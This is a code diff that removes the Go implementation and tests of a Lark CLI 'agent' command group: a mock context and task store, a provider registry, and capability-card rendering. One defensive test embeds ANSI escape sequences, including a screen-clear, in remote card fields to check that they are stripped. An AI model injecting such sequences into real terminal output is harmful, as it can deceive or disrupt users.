-// deliberately aligns with the command layer's meta.next interpolation
-// allowlist (cmd/agent/send.go safeNextID): the id is spliced into a command
-// string "the AI copies and runs", and an id with shell metacharacters would
-// cause the whole hint to be suppressed.
-func newID(prefix string) string {
-	var b [6]byte
-	if _, err := rand.Read(b[:]); err != nil {
-		// crypto/rand being unavailable is an environment-level failure; the mock
-		// degrades to a timestamp that still satisfies the character set.
-		return prefix + "_" + time.Now().UTC().Format("20060102150405")
-	}
-	return prefix + "_" + hex.EncodeToString(b[:])
-}
-
-// createContext creates a new context and returns its id (the first-turn send goes here).
-func (s *memoryStore) createContext(agentID, title string) (string, error) {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	id := newID("ctx")
-	s.NextSeq++
-	s.Contexts[id] = &contextRecord{
-		AgentID:   agentID,
-		ContextID: id,
-		CreatedAt: time.Now().UTC().Format(time.RFC3339),
-		Title:     title,
-		Seq:       s.NextSeq,
-	}
-	return id, s.saveLocked()
-}
-
-// createTask appends a task under ctxID: validate context ownership → compute
-// the round (which task number in this conversation) → call build under the lock
-// to construct the task → insert and write the snapshot. build runs inside the
-// lock to guarantee "compute the round" and "store the task" are atomic, so two
-// concurrent sends never get the same round.
-// An unknown / cross-agent context id returns a typed validation error (teaching
-// point: every error a provider returns must be typed — a bare error would land
-// as internal/exit 5, whereas this is clearly "the caller passed a wrong
-// argument", semantically invalid_argument/exit 2, and the AI relies on this
-// classification to decide between "fix the argument and retry" and "report an
-// environment failure").
-func (s *memoryStore) createTask(agentID, ctxID string, build func(round int) agent.AgentTask) (agent.AgentTask, error) {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	ctx, ok := s.Contexts[ctxID]
-	if !ok || ctx.AgentID != agentID {
-		return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
-			WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
-	}
-	task := build(len(ctx.TaskIDs) + 1)
-	s.NextSeq++
-	s.Tasks[task.TaskID] = &taskRecord{AgentID: agentID, Seq: s.NextSeq, Task: task}
-	ctx.TaskIDs = append(ctx.TaskIDs, task.TaskID)
-	return task, s.saveLocked()
-}
-
-// getTask fetches a task snapshot by id (returns a copy by value, so the command
-// layer's in-place edits like normalizeTask do not write through to store). A
-// cross-agent task is treated as "not found", without leaking another agent's state.
-func (s *memoryStore) getTask(agentID, taskID string) (agent.AgentTask, error) {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	rec, ok := s.Tasks[taskID]
-	if !ok || rec.AgentID != agentID {
-		return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 task id '%s'（example:%s 名下不存在）", taskID, agentID).
-			WithHint("运行 lark-cli agent task list example:%s 查看现有任务", agentID)
-	}
-	return rec.Task, nil
-}
-
-// setTaskState updates a task's state (used by reporter's cancel).
-func (s *memoryStore) setTaskState(taskID string, state agent.TaskState) error {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	rec, ok := s.Tasks[taskID]
-	if !ok {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "未知的 task id '%s'", taskID)
-	}
-	rec.Task.State = state
-	rec.Task.IsTerminal = state.IsTerminal()
-	return s.saveLocked()
-}
-
-// listTasks lists an agent's task summaries, optionally filtered by contextID
-// (empty string means no filter), output in creation order. IsTerminal is
-// carried along here for convenience, but the command layer re-derives it from
-// State via normalizeTask* (single source), so the integrator need not worry
-// about this field.
-func (s *memoryStore) listTasks(agentID, contextID string) []agent.TaskSummary {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	recs := make([]*taskRecord, 0, len(s.Tasks))
-	for _, rec := range s.Tasks {
-		if rec.AgentID != agentID {
-			continue
-		}
-		if contextID != "" && rec.Task.ContextID != contextID {
-			continue
-		}
-		recs = append(recs, rec)
-	}
-	sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
-	out := make([]agent.TaskSummary, 0, len(recs))
-	for _, rec := range recs {
-		out = append(out, agent.TaskSummary{
-			TaskID:     rec.Task.TaskID,
-			ContextID:  rec.Task.ContextID,
-			State:      rec.Task.State,
-			IsTerminal: rec.Task.IsTerminal,
-		})
-	}
-	return out
-}
-
-// listContexts lists an agent's context summaries, output in creation order.
-func (s *memoryStore) listContexts(agentID string) []agent.ContextSummary {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	recs := make([]*contextRecord, 0, len(s.Contexts))
-	for _, ctx := range s.Contexts {
-		if ctx.AgentID == agentID {
-			recs = append(recs, ctx)
-		}
-	}
-	sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
-	out := make([]agent.ContextSummary, 0, len(recs))
-	for _, ctx := range recs {
-		out = append(out, agent.ContextSummary{
-			ContextID: ctx.ContextID,
-			CreatedAt: ctx.CreatedAt,
-			Title:     ctx.Title,
-		})
-	}
-	return out
-}
-
-// getContext returns a context's detail (including its task summaries, in creation order).
-func (s *memoryStore) getContext(agentID, ctxID string) (*agent.ContextDetail, error) {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	ctx, ok := s.Contexts[ctxID]
-	if !ok || ctx.AgentID != agentID {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
-			WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
-	}
-	detail := &agent.ContextDetail{
-		ContextID: ctx.ContextID,
-		CreatedAt: ctx.CreatedAt,
-		Title:     ctx.Title,
-	}
-	for _, tid := range ctx.TaskIDs {
-		if rec, ok := s.Tasks[tid]; ok {
-			detail.Tasks = append(detail.Tasks, agent.TaskSummary{
-				TaskID:     rec.Task.TaskID,
-				ContextID:  rec.Task.ContextID,
-				State:      rec.Task.State,
-				IsTerminal: rec.Task.IsTerminal,
-			})
-		}
-	}
-	return detail, nil
-}
-
-// deleteContext deletes a context and its tasks (a destructive operation, already gated by --yes in the command layer).
-func (s *memoryStore) deleteContext(agentID, ctxID string) error {
-	s.mu.Lock()
-	defer s.mu.Unlock()
-	s.loadLocked()
-	ctx, ok := s.Contexts[ctxID]
-	if !ok || ctx.AgentID != agentID {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
-			WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
-	}
-	for _, tid := range ctx.TaskIDs {
-		delete(s.Tasks, tid)
-	}
-	delete(s.Contexts, ctxID)
-	return s.saveLocked()
-}

agent/register.go

@@ -1,19 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package agent is the top-level business layer that wires the in-repo agent
-// providers into the framework registry (internal/agent). It mirrors the events
-// layering: the framework/SPI lives in internal/agent, the concrete providers
-// live under agent/<scheme>/, and this package blank-imports each so their
-// init() self-registration runs. Blank-import this package from cmd to populate
-// the provider registry.
-//
-// To onboard a new provider: add its package under agent/<scheme>/ and add one
-// matching blank import below.
-package agent
-
-import (
-	// example is the in-repo onboarding template and offline demo provider
-	// (in-memory mock, zero network); its init() registers the "example" scheme.
-	_ "github.com/larksuite/cli/agent/example"
-)

cmd/agent/agent.go

@@ -1,29 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/internal/cmdutil"
-)
-
-// NewCmdAgent builds the `agent` command group: a provider-agnostic surface
-// that drives remote A2A agents with constant verbs. It is a pure group with
-// no RunE, so an unknown subcommand is reported rather than silently
-// swallowed. All five verbs (list/card/send/task/context) are wired here; task
-// and context are themselves nested groups.
-func NewCmdAgent(f *cmdutil.Factory) *cobra.Command {
-	cmd := &cobra.Command{
-		Use:   "agent",
-		Short: "Drive first-party remote agents (A2A: send / start task / poll / fetch result)",
-		Long:  "Drive Feishu first-party remote agents with a constant verb set. An agent_ref looks like <scheme>:<agent_id> (e.g. example:echo). Read capabilities with `agent card <agent_ref>` first, then pick verbs by capability.",
-	}
-	cmd.AddCommand(NewCmdAgentList(f))
-	cmd.AddCommand(NewCmdAgentCard(f))
-	cmd.AddCommand(NewCmdAgentSend(f, nil))
-	cmd.AddCommand(NewCmdAgentTask(f))
-	cmd.AddCommand(NewCmdAgentContext(f))
-	return cmd
-}

cmd/agent/agent_test.go

@@ -1,34 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import "testing"
-
-// TestAgentCommandTree pins the shape of the `agent` command tree: the group
-// itself must have no RunE/Run (a bare group whose unknown subcommands surface
-// an error rather than being silently swallowed), and it must expose all five
-// verbs plus the nested task/context sub-groups.
-func TestAgentCommandTree(t *testing.T) {
-	cmd := NewCmdAgent(nil)
-	if cmd.RunE != nil || cmd.Run != nil {
-		t.Error("agent group should not have RunE (otherwise it conflicts with unknownSubcommandGuard)")
-	}
-	want := []string{"list", "card", "send", "task", "context"}
-	for _, name := range want {
-		if findSub(cmd, name) == nil {
-			t.Errorf("missing subcommand %s", name)
-		}
-	}
-	// task/context are nested groups
-	if task := findSub(cmd, "task"); task == nil {
-		t.Error("missing agent task group")
-	} else if findSub(task, "get") == nil {
-		t.Error("missing agent task get")
-	}
-	if ctxCmd := findSub(cmd, "context"); ctxCmd == nil {
-		t.Error("missing agent context group")
-	} else if findSub(ctxCmd, "delete") == nil {
-		t.Error("missing agent context delete")
-	}
-}

cmd/agent/card.go

@@ -1,181 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-	"io"
-	"strings"
-
-	"github.com/spf13/cobra"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// cardOptions holds all inputs for `agent card <ref>`.
-type cardOptions struct {
-	Factory *cmdutil.Factory
-	Cmd     *cobra.Command
-	Ref     string
-	As      string
-	Format  string
-}
-
-// NewCmdAgentCard builds `agent card <ref>`: fetch and display an agent's
-// capability card. Adapters synthesize the card statically from their known
-// capability matrix — no API call is made, and the command works offline /
-// under mock. Risk=read.
-func NewCmdAgentCard(f *cmdutil.Factory) *cobra.Command {
-	opts := &cardOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "card <agent_ref>",
-		Short: "Show a remote agent's capability card (capabilities / parameters / identity)",
-		Long:  "Fetch and show an agent's capability card. Use its capabilities to decide which verbs are available and its parameters to decide the --param a send needs. Some providers synthesize the card statically without calling the remote API.",
-		Args:  exactArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			return agentCardRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	if f != nil {
-		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
-	} else {
-		// f is nil only in construction-time unit tests; register a bare --as so
-		// the flag surface is still assertable without a Factory.
-		cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
-	}
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// agentCardRun resolves the provider addressed by ref and emits its capability
-// card. The card is first-party static data (not agent-generated content), so
-// it bypasses content-safety scanning. The JSON success envelope is the
-// default; --format pretty opts into the human-readable listing. A --jq
-// expression forces JSON (jq operates on the envelope) and, when present,
-// filters stdout.
-func agentCardRun(opts *cardOptions) error {
-	f := opts.Factory
-	// Card synthesis is API-free, so resolve without requiring a
-	// configured client: `agent card` must work offline / before config init.
-	p, id, err := resolveProviderNoClient(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	r, err := iagent.ParseRef(opts.Ref)
-	if err != nil {
-		return wrapRefResolveError(err)
-	}
-	card, err := iagent.BuildCard(opts.Cmd.Context(), r.Scheme, r.AgentID, p)
-	if err != nil {
-		return err
-	}
-
-	jq := jqExpr(opts.Cmd)
-	// pretty is a human view only; a --jq expression implies structured JSON,
-	// so it takes precedence over the pretty format.
-	if opts.Format == "pretty" && jq == "" {
-		printCardPretty(f.IOStreams.Out, card)
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     card,
-		Notice:   output.GetNotice(),
-	}
-	if jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// printCardPretty writes a compact human-readable view of an agent card:
-// identity header (with per-identity preconditions), the sorted capability
-// matrix, declared parameters and skills — the key constraints an AI reads
-// from json must also be visible to a human. Remote cards carry
-// agent-controlled Name/Description/Desc
-// strings, so every such field is ANSI-stripped before hitting the terminal.
-// Nil cards degrade to a placeholder line rather than panicking.
-func printCardPretty(w io.Writer, card *iagent.AgentCard) {
-	if card == nil {
-		fmt.Fprintln(w, "(no card)")
-		return
-	}
-	// Dynamic cards carry a Name; static cards fall back to the provider label.
-	name := card.Name
-	if name == "" {
-		name = card.ProviderLabel
-	}
-	fmt.Fprintf(w, "%s (%s)\n", stripANSI(name), card.AgentID)
-	if card.Description != "" {
-		fmt.Fprintf(w, "  %s\n", stripANSI(card.Description))
-	}
-	if len(card.Identity) > 0 {
-		ids := make([]string, 0, len(card.Identity))
-		for _, spec := range card.Identity {
-			id := string(spec.Type)
-			if spec.Precondition != "" {
-				id += "（前置: " + stripANSI(spec.Precondition) + "）"
-			}
-			ids = append(ids, id)
-		}
-		fmt.Fprintf(w, "  identity: %s\n", strings.Join(ids, ", "))
-	}
-
-	fmt.Fprintln(w, "  capabilities:")
-	// Capabilities is a closed struct; iterate in fixed alphabetical key order,
-	// matching the sorted output of the earlier map-based representation.
-	for _, k := range []string{
-		iagent.CapArtifactDownload,
-		iagent.CapFileInput,
-		iagent.CapInputRequired,
-		iagent.CapMultiTurn,
-		iagent.CapTaskCancel,
-		iagent.CapTaskGet,
-		iagent.CapTaskList,
-	} {
-		mark := "no"
-		if card.Supports(k) {
-			mark = "yes"
-		}
-		fmt.Fprintf(w, "    %-20s %s\n", k, mark)
-	}
-
-	if len(card.Parameters) > 0 {
-		fmt.Fprintln(w, "  parameters:")
-		for _, pr := range card.Parameters {
-			req := ""
-			if pr.Required {
-				req = " (required)"
-			}
-			fmt.Fprintf(w, "    %s: %s%s", pr.Name, pr.Type, req)
-			if pr.Desc != "" {
-				fmt.Fprintf(w, " — %s", stripANSI(pr.Desc))
-			}
-			fmt.Fprintln(w)
-		}
-	}
-
-	if len(card.Skills) > 0 {
-		fmt.Fprintln(w, "  skills:")
-		for _, sk := range card.Skills {
-			name := sk.Name
-			if name == "" {
-				name = sk.ID
-			}
-			fmt.Fprintf(w, "    %s\n", stripANSI(name))
-		}
-	}
-}

cmd/agent/card_test.go

@@ -1,286 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"bytes"
-	"context"
-	"encoding/json"
-	"strings"
-	"testing"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// cardTestOpts builds a cardOptions driving agentCardRun against a real
-// (test) Factory. The example card is synthesized statically, so no API call
-// is made and stdout carries the capability card envelope.
-func cardTestOpts(t *testing.T, ref string) (*cardOptions, *core.CliConfig) {
-	t.Helper()
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := resolveCmd(t, true, "bot") // reuses the common_test.go helper (--as=bot)
-	return &cardOptions{Factory: f, Cmd: cmd, Ref: ref, As: "bot", Format: "json"}, cfg
-}
-
-// TestAgentCardRun_ExampleStaticCard verifies that `agent card example:echo`
-// returns the statically synthesized capability card (no API), with
-// task_cancel gated off and multi_turn on, and the agent_id echoed from the
-// ref.
-func TestAgentCardRun_ExampleStaticCard(t *testing.T) {
-	opts, _ := cardTestOpts(t, "example:echo")
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentCardRun(opts); err != nil {
-		t.Fatalf("card should be statically synthesized and not error: %v", err)
-	}
-
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v", err)
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-	data, ok := env.Data.(map[string]interface{})
-	if !ok {
-		t.Fatalf("data should be a card object, got %T", env.Data)
-	}
-	if data["agent_id"] != "echo" {
-		t.Errorf("agent_id should echo the ref, got %v", data["agent_id"])
-	}
-	if data["provider"] != "example" {
-		t.Errorf("provider should be example, got %v", data["provider"])
-	}
-	// source was removed from the card (schema tightening).
-	if _, present := data["source"]; present {
-		t.Errorf("card should no longer carry a source field, got %v", data["source"])
-	}
-	caps, ok := data["capabilities"].(map[string]interface{})
-	if !ok {
-		t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
-	}
-	if caps["task_cancel"] != false {
-		t.Errorf("echo task_cancel should be false, got %v", caps["task_cancel"])
-	}
-	if caps["multi_turn"] != true {
-		t.Errorf("echo multi_turn should be true, got %v", caps["multi_turn"])
-	}
-	// parameters / identity must serialize as non-null (guard against omitempty
-	// regression): parameters is always an array (empty [] for example),
-	// identity is a non-empty array.
-	if params, ok := data["parameters"].([]interface{}); !ok {
-		t.Errorf("parameters should be a non-null array, got %T (%v)", data["parameters"], data["parameters"])
-	} else if len(params) != 0 {
-		t.Errorf("example parameters should be an empty array, got %v", params)
-	}
-	if ids, ok := data["identity"].([]interface{}); !ok || len(ids) == 0 {
-		t.Errorf("identity should be a non-null non-empty array, got %T (%v)", data["identity"], data["identity"])
-	}
-	// card no longer exposes scope: the required_scopes field was removed from
-	// AgentCard (scope is an internal registration item used only for preflight).
-	if _, present := data["required_scopes"]; present {
-		t.Errorf("card should no longer carry a required_scopes field, got %v", data["required_scopes"])
-	}
-}
-
-// TestAgentCardRun_PrettyFormat verifies that with --format pretty (opt-in
-// since the json default flip), the card renders as a human-readable listing.
-// The output must surface the identity and capability names in plain text so
-// the stream is not valid envelope JSON.
-func TestAgentCardRun_PrettyFormat(t *testing.T) {
-	opts, _ := cardTestOpts(t, "example:echo")
-	opts.Format = "pretty"
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentCardRun(opts); err != nil {
-		t.Fatalf("card pretty should not error: %v", err)
-	}
-
-	text := string(out.Bytes())
-	// A pretty rendering is human text, not a JSON envelope.
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Fatalf("pretty format should not output a JSON envelope: %s", text)
-	}
-	if !strings.Contains(text, "echo") {
-		t.Errorf("pretty output should contain agent_id: %s", text)
-	}
-	// multi_turn is a declared capability of the echo card; it must appear.
-	if !strings.Contains(text, "multi_turn") {
-		t.Errorf("pretty output should list capabilities: %s", text)
-	}
-}
-
-// TestAgentCardRun_JSONFormat pins that --format json still emits the envelope.
-func TestAgentCardRun_JSONFormat(t *testing.T) {
-	opts, _ := cardTestOpts(t, "example:echo")
-	opts.Format = "json"
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentCardRun(opts); err != nil {
-		t.Fatalf("card json should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("json format should be a valid envelope: %v (%s)", err, string(out.Bytes()))
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-}
-
-// TestAgentCardJqFlagRegisteredAndConsumed pins the quality-review fix: the
-// --jq flag must actually be REGISTERED on `agent card` (the run path already
-// called jqExpr/JqFilter, but without the flag `--jq` was an unknown-flag
-// exit 2 — and the skill doc teaches AI to copy `card ... --jq`). Executed via
-// the real command so registration + consumption are proven together.
-func TestAgentCardJqFlagRegisteredAndConsumed(t *testing.T) {
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := NewCmdAgentCard(f)
-	cmd.SetOut(&bytes.Buffer{})
-	cmd.SetErr(&bytes.Buffer{})
-	cmd.SetContext(context.Background())
-	cmd.SetArgs([]string{"example:echo", "--as", "bot", "--jq", ".data.agent_id"})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("card --jq should not error: %v", err)
-	}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-	got := strings.TrimSpace(string(out.Bytes()))
-	if !strings.Contains(got, "echo") || strings.Contains(got, `"ok"`) {
-		t.Errorf("--jq .data.agent_id should output only the filtered result, got %q", got)
-	}
-}
-
-// TestPrintCardPretty_NilCard pins that a nil card degrades to a placeholder
-// line instead of panicking (card.go nil branch).
-func TestPrintCardPretty_NilCard(t *testing.T) {
-	out := &bytes.Buffer{}
-	printCardPretty(out, nil)
-	if !strings.Contains(out.String(), "(no card)") {
-		t.Errorf("nil card should print a placeholder line, got: %q", out.String())
-	}
-}
-
-// TestPrintCardPretty_AllOptionalFields exercises every optional-field branch of
-// the pretty renderer that a minimal static card omits: the dynamic-card Name
-// (taking precedence over ProviderLabel), Description, declared Parameters, and
-// the Skills block (both the named skill and the id-fallback when Name is empty).
-func TestPrintCardPretty_AllOptionalFields(t *testing.T) {
-	card := &iagent.AgentCard{
-		Provider:      "demo",
-		ProviderLabel: "demo 自定义智能体",
-		Name:          "Demo Agent", // only dynamic cards have Name; it should override ProviderLabel
-		AgentID:       "agt_demo",
-		Description:   "a helpful demo agent",
-		Identity: []iagent.IdentitySpec{
-			{Type: "user"},
-			{Type: "bot", Precondition: "需加入渠道白名单"},
-		},
-		Capabilities: iagent.Capabilities{
-			MultiTurn:  true,
-			TaskCancel: false,
-		},
-		Parameters: []iagent.CardParam{
-			{Name: "locale", Type: "string", Required: true, Desc: "reply locale"},
-		},
-		Skills: []iagent.CardSkill{
-			{ID: "sk_1", Name: "Sales Analysis"},
-			{ID: "sk_2"}, // no Name → falls back to ID
-		},
-	}
-	out := &bytes.Buffer{}
-	printCardPretty(out, card)
-	text := out.String()
-
-	for _, want := range []string{
-		"Demo Agent (agt_demo)", // dynamic Name takes precedence over ProviderLabel
-		"a helpful demo agent",  // Description branch
-		"identity: user, bot",   // IdentitySpec types are joined
-		"需加入渠道白名单",              // identity precondition must be visible in pretty (Task 11 wrap-up)
-		"locale",                // Parameters branch
-		"skills:",               // Skills block header
-		"Sales Analysis",        // skill with a Name
-		"sk_2",                  // skill without a Name → id fallback
-	} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-}
-
-// TestPrintCardPretty_StripsANSIFromRemoteFields pins that a remote card's
-// agent-controlled Name/Description cannot smuggle ANSI escapes to the
-// terminal (this sanitization is applied to every pretty surface).
-func TestPrintCardPretty_StripsANSIFromRemoteFields(t *testing.T) {
-	card := &iagent.AgentCard{
-		Provider:    "demo",
-		AgentID:     "agt_demo",
-		Name:        "\x1b[31mEvil\x1b[0m Agent",
-		Description: "desc\x1b[2Jwipe",
-	}
-	out := &bytes.Buffer{}
-	printCardPretty(out, card)
-	text := out.String()
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in remote card fields must be stripped: %q", text)
-	}
-	if !strings.Contains(text, "Evil Agent") || !strings.Contains(text, "descwipe") {
-		t.Errorf("readable text should remain after stripping, got: %q", text)
-	}
-}
-
-// TestPrintCardPretty_StaticFallsBackToProviderLabel pins that a static card
-// (no dynamic Name) renders its ProviderLabel as the header.
-func TestPrintCardPretty_StaticFallsBackToProviderLabel(t *testing.T) {
-	card := &iagent.AgentCard{
-		Provider:      "demo",
-		ProviderLabel: "demo 自定义智能体",
-		AgentID:       "agt_demo",
-	}
-	out := &bytes.Buffer{}
-	printCardPretty(out, card)
-	if !strings.Contains(out.String(), "demo 自定义智能体 (agt_demo)") {
-		t.Errorf("should fall back to ProviderLabel when Name is empty, got:\n%s", out.String())
-	}
-}
-
-// TestAgentCardRun_InvalidRef surfaces a malformed ref as a validation error
-// before any provider is built.
-func TestAgentCardRun_InvalidRef(t *testing.T) {
-	opts, _ := cardTestOpts(t, "no-colon")
-	if err := agentCardRun(opts); err == nil {
-		t.Fatal("malformed ref should error")
-	}
-}
-
-// TestNewCmdAgentCard_ReadRiskAndArgs pins ExactArgs(1), read risk, and the
-// presence of --format and --as flags.
-func TestNewCmdAgentCard_ReadRiskAndArgs(t *testing.T) {
-	cmd := NewCmdAgentCard(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
-		t.Errorf("agent card should be marked read risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{}); err == nil {
-		t.Error("agent card missing ref should report an argument error (ExactArgs 1)")
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
-		t.Errorf("agent card with a single ref should be valid: %v", err)
-	}
-	fl := cmd.Flags().Lookup("format")
-	if fl == nil {
-		t.Fatal("agent card should have a --format flag")
-	}
-	// Default output format is unified: card default flips from pretty to json.
-	if fl.DefValue != "json" {
-		t.Errorf("card --format default should flip to json, got %q", fl.DefValue)
-	}
-	if cmd.Flags().Lookup("as") == nil {
-		t.Error("agent card should have an --as flag")
-	}
-}

cmd/agent/common.go

@@ -1,314 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package agent implements the `agent` command tree: a provider-agnostic
-// surface over remote A2A agents. This file holds the shared
-// command-layer helpers: ref→provider resolution, --param validation against a
-// Card, success-envelope emission, capability gating, and wait/watch polling.
-package agent
-
-import (
-	"context"
-	"errors"
-	"fmt"
-	"strings"
-	"time"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// supportedIdentities is the identity whitelist enforced for every agent
-// command; provider cards advertise (a subset of) the same set.
-var supportedIdentities = []string{string(core.AsUser), string(core.AsBot)}
-
-// sleep is the package-level, test-injectable backoff sleep. It blocks for d or
-// until ctx is done, returning true if the full duration elapsed and false if
-// ctx was canceled first. Tests swap it for a no-op.
-var sleep = func(ctx context.Context, d time.Duration) bool {
-	t := time.NewTimer(d)
-	defer t.Stop()
-	select {
-	case <-t.C:
-		return true
-	case <-ctx.Done():
-		return false
-	}
-}
-
-// resolveProviderNoClient resolves the effective identity, enforces the
-// user|bot whitelist, and constructs the Provider addressed by ref WITHOUT
-// requiring a configured API client. It is the resolution path for the
-// API-free operations that always work — `agent card` (static synthesis) and
-// `agent send --dry-run` (client-side preview) — so they succeed even before
-// `lark-cli config init`. The provider's client is nil; only API-free methods
-// (Card) may be called on it. A malformed ref or unknown provider scheme is
-// wrapped into a validation typed error (subtype invalid_argument, exit 2), so
-// those surface before (not behind) the config gate.
-func resolveProviderNoClient(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (*iagent.Provider, core.Identity, error) {
-	id := f.ResolveAs(cmd.Context(), cmd, core.Identity(asStr))
-	if err := f.CheckIdentity(id, supportedIdentities); err != nil {
-		return nil, "", err
-	}
-	p, err := iagent.Resolve(ref, iagent.Deps{As: id})
-	if err != nil {
-		// ParseRef / unknown-scheme errors already carry the validation wording;
-		// promote them to a typed validation error (with a recovery hint)
-		// so RunE never returns a bare error and the exit code / subtype are
-		// stable.
-		return nil, "", wrapRefResolveError(err)
-	}
-	return p, id, nil
-}
-
-// wrapRefResolveError promotes a ParseRef / provider-resolution error to a
-// validation typed error (subtype invalid_argument, exit 2) and attaches the
-// recovery hint keyed to the failure mode: a malformed ref (no ':' / empty
-// half — matched via the ErrInvalidRef sentinel) teaches the <scheme>:<agent_id>
-// shape; an unknown scheme points at `agent list` to discover the available
-// providers. Both hints are copy-pasteable next steps, not just wording.
-func wrapRefResolveError(err error) error {
-	e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
-	if errors.Is(err, iagent.ErrInvalidRef) {
-		return e.WithHint("agent_ref 形如 <scheme>:<agent_id>，如 example:echo")
-	}
-	return e.WithHint("用 lark-cli agent list 查看可用 provider")
-}
-
-// resolveProvider resolves the identity and constructs the Provider addressed
-// by ref backed by a configured API client, for commands that actually call the
-// remote API. Ref/scheme validation runs first (via resolveProviderNoClient) so
-// a malformed ref or unknown scheme is a validation error (exit 2) surfaced
-// BEFORE the config gate — an unconfigured user still gets the precise error,
-// not not_configured. Only after the ref is valid does it require a
-// configured client (not_configured / exit 3 is correct for a real API call).
-//
-// Wiring rule: every verb that calls the real API MUST run preflightScopesForRef
-// right after this succeeds and before the API call, so a new verb is
-// never silently exempt from the local scope preflight.
-func resolveProvider(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (*iagent.Provider, core.Identity, error) {
-	_, id, err := resolveProviderNoClient(f, cmd, ref, asStr)
-	if err != nil {
